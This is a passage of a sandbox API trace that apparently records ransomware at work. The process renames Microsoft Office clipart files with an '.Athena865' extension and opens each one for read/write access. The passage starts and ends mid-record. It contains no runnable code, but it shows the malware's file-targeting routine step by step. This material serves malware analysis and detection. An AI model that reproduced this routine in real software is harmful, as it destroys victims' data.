lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17016) returned 1 [0123.898] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086426.WMF" | out: lpString1="J0086426.WMF") returned="J0086426.WMF" [0123.898] lstrlenW (lpString="J0086426.WMF") returned 12 [0123.898] lstrlenW (lpString="Athena865") returned 9 [0123.898] lstrcmpiW (lpString1="86426.WMF", lpString2="Athena865") returned -1 [0123.898] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.Athena865") returned 73 [0123.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.athena865"), dwFlags=0x1) returned 1 [0123.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.900] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21782) returned 1 [0123.903] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086428.WMF" | out: lpString1="J0086428.WMF") returned="J0086428.WMF" [0123.903] lstrlenW (lpString="J0086428.WMF") returned 12 [0123.903] lstrlenW (lpString="Athena865") returned 9 [0123.903] lstrcmpiW (lpString1="86428.WMF", lpString2="Athena865") returned -1 [0123.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.Athena865") returned 73 [0123.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.athena865"), dwFlags=0x1) returned 1 [0123.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.904] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35346) returned 1 [0123.909] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086432.WMF" | out: lpString1="J0086432.WMF") returned="J0086432.WMF" [0123.909] lstrlenW (lpString="J0086432.WMF") returned 12 [0123.909] lstrlenW (lpString="Athena865") returned 9 [0123.909] lstrcmpiW (lpString1="86432.WMF", lpString2="Athena865") returned -1 [0123.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.Athena865") returned 73 [0123.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.athena865"), dwFlags=0x1) returned 1 [0123.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.911] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33434) returned 1 [0123.915] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086478.WMF" | out: lpString1="J0086478.WMF") returned="J0086478.WMF" [0123.915] lstrlenW (lpString="J0086478.WMF") returned 12 [0123.915] lstrlenW (lpString="Athena865") returned 9 [0123.915] lstrcmpiW (lpString1="86478.WMF", lpString2="Athena865") returned -1 [0123.915] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.Athena865") returned 73 [0123.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.athena865"), dwFlags=0x1) returned 1 [0123.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14174) returned 1 [0123.920] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0089945.WMF" | out: lpString1="J0089945.WMF") returned="J0089945.WMF" [0123.920] lstrlenW (lpString="J0089945.WMF") returned 12 [0123.920] lstrlenW (lpString="Athena865") returned 9 [0123.920] lstrcmpiW (lpString1="89945.WMF", lpString2="Athena865") returned -1 [0123.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.Athena865") returned 73 [0123.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.athena865"), dwFlags=0x1) returned 1 [0123.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19898) returned 1 [0123.925] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0089992.WMF" | out: lpString1="J0089992.WMF") returned="J0089992.WMF" [0123.925] lstrlenW (lpString="J0089992.WMF") returned 12 [0123.925] lstrlenW (lpString="Athena865") returned 9 [0123.925] lstrcmpiW (lpString1="89992.WMF", lpString2="Athena865") returned -1 [0123.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.Athena865") returned 73 [0123.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.athena865"), dwFlags=0x1) returned 1 [0123.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15680) returned 1 [0123.930] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090027.WMF" | out: lpString1="J0090027.WMF") returned="J0090027.WMF" [0123.930] lstrlenW (lpString="J0090027.WMF") returned 12 [0123.930] lstrlenW (lpString="Athena865") returned 9 [0123.930] lstrcmpiW (lpString1="90027.WMF", lpString2="Athena865") returned -1 [0123.930] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.Athena865") returned 73 [0123.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.athena865"), dwFlags=0x1) returned 1 [0123.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.931] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21268) returned 1 [0123.935] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090087.WMF" | out: lpString1="J0090087.WMF") returned="J0090087.WMF" [0123.935] lstrlenW (lpString="J0090087.WMF") returned 12 [0123.935] lstrlenW (lpString="Athena865") returned 9 [0123.935] lstrcmpiW (lpString1="90087.WMF", lpString2="Athena865") returned -1 [0123.935] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.Athena865") returned 73 [0123.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.athena865"), dwFlags=0x1) returned 1 [0123.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46936) returned 1 [0123.940] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090089.WMF" | out: lpString1="J0090089.WMF") returned="J0090089.WMF" [0123.940] lstrlenW (lpString="J0090089.WMF") returned 12 [0123.940] lstrlenW (lpString="Athena865") returned 9 [0123.940] lstrcmpiW (lpString1="90089.WMF", lpString2="Athena865") returned -1 [0123.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.Athena865") returned 73 [0123.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.athena865"), dwFlags=0x1) returned 1 [0123.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.942] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15760) returned 1 [0123.945] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090149.WMF" | out: lpString1="J0090149.WMF") returned="J0090149.WMF" [0123.945] lstrlenW (lpString="J0090149.WMF") returned 12 [0123.945] lstrlenW (lpString="Athena865") returned 9 [0123.945] lstrcmpiW (lpString1="90149.WMF", lpString2="Athena865") returned -1 [0123.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.Athena865") returned 73 [0123.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.athena865"), dwFlags=0x1) returned 1 [0123.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.947] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28212) returned 1 [0123.950] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090390.WMF" | out: lpString1="J0090390.WMF") returned="J0090390.WMF" [0123.950] lstrlenW (lpString="J0090390.WMF") returned 12 [0123.950] lstrlenW (lpString="Athena865") returned 9 [0123.950] lstrcmpiW (lpString1="90390.WMF", lpString2="Athena865") returned -1 [0123.950] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.Athena865") returned 73 [0123.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.athena865"), dwFlags=0x1) returned 1 [0123.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.953] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17638) returned 1 [0123.956] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090777.WMF" | out: lpString1="J0090777.WMF") returned="J0090777.WMF" [0123.956] lstrlenW (lpString="J0090777.WMF") returned 12 [0123.956] lstrlenW (lpString="Athena865") returned 9 [0123.957] lstrcmpiW (lpString1="90777.WMF", lpString2="Athena865") returned -1 [0123.957] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.Athena865") returned 73 [0123.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.athena865"), dwFlags=0x1) returned 1 [0123.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.958] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3332) returned 1 [0123.970] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090779.WMF" | out: lpString1="J0090779.WMF") returned="J0090779.WMF" [0123.970] lstrlenW (lpString="J0090779.WMF") returned 12 [0123.970] lstrlenW (lpString="Athena865") returned 9 [0123.970] lstrcmpiW (lpString1="90779.WMF", lpString2="Athena865") returned -1 [0123.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.Athena865") returned 73 [0123.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.athena865"), dwFlags=0x1) returned 1 [0123.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.971] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1456) returned 1 [0123.974] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090781.WMF" | out: lpString1="J0090781.WMF") returned="J0090781.WMF" [0123.974] lstrlenW (lpString="J0090781.WMF") returned 12 [0123.974] lstrlenW (lpString="Athena865") returned 9 [0123.974] lstrcmpiW (lpString1="90781.WMF", lpString2="Athena865") returned -1 [0123.974] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.Athena865") returned 73 [0123.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.athena865"), dwFlags=0x1) returned 1 [0123.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.975] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5314) returned 1 [0123.978] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0090783.WMF" | out: lpString1="J0090783.WMF") returned="J0090783.WMF" [0123.978] lstrlenW (lpString="J0090783.WMF") returned 12 [0123.978] lstrlenW (lpString="Athena865") returned 9 [0123.978] lstrcmpiW (lpString1="90783.WMF", lpString2="Athena865") returned -1 [0123.978] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.Athena865") returned 73 [0123.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.athena865"), dwFlags=0x1) returned 1 [0123.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.980] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6934) returned 1 [0123.982] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0093905.WMF" | out: lpString1="J0093905.WMF") returned="J0093905.WMF" [0123.982] lstrlenW (lpString="J0093905.WMF") returned 12 [0123.982] lstrlenW (lpString="Athena865") returned 9 [0123.982] lstrcmpiW (lpString1="93905.WMF", lpString2="Athena865") returned -1 [0123.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.Athena865") returned 73 [0123.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.athena865"), dwFlags=0x1) returned 1 [0123.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42050) returned 1 [0123.988] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0098497.WMF" | out: lpString1="J0098497.WMF") returned="J0098497.WMF" [0123.988] lstrlenW (lpString="J0098497.WMF") returned 12 [0123.989] lstrlenW (lpString="Athena865") returned 9 [0123.989] lstrcmpiW (lpString1="98497.WMF", lpString2="Athena865") returned -1 [0123.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.Athena865") returned 73 [0123.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.athena865"), dwFlags=0x1) returned 1 [0123.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.990] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4970) returned 1 [0123.993] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099145.JPG" | out: lpString1="J0099145.JPG") returned="J0099145.JPG" [0123.993] lstrlenW (lpString="J0099145.JPG") returned 12 [0123.993] lstrlenW (lpString="Athena865") returned 9 [0123.993] lstrcmpiW (lpString1="99145.JPG", lpString2="Athena865") returned -1 [0123.993] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.Athena865") returned 73 [0123.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.athena865"), dwFlags=0x1) returned 1 [0123.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.995] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24759) returned 1 [0123.998] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099146.WMF" | out: lpString1="J0099146.WMF") returned="J0099146.WMF" [0123.998] lstrlenW (lpString="J0099146.WMF") returned 12 [0123.998] lstrlenW (lpString="Athena865") returned 9 [0123.998] lstrcmpiW (lpString1="99146.WMF", lpString2="Athena865") returned -1 [0123.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.Athena865") returned 73 [0123.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.athena865"), dwFlags=0x1) returned 1 [0124.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16596) returned 1 [0124.003] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099147.JPG" | out: lpString1="J0099147.JPG") returned="J0099147.JPG" [0124.003] lstrlenW (lpString="J0099147.JPG") returned 12 [0124.003] lstrlenW (lpString="Athena865") returned 9 [0124.003] lstrcmpiW (lpString1="99147.JPG", lpString2="Athena865") returned -1 [0124.003] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.Athena865") returned 73 [0124.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 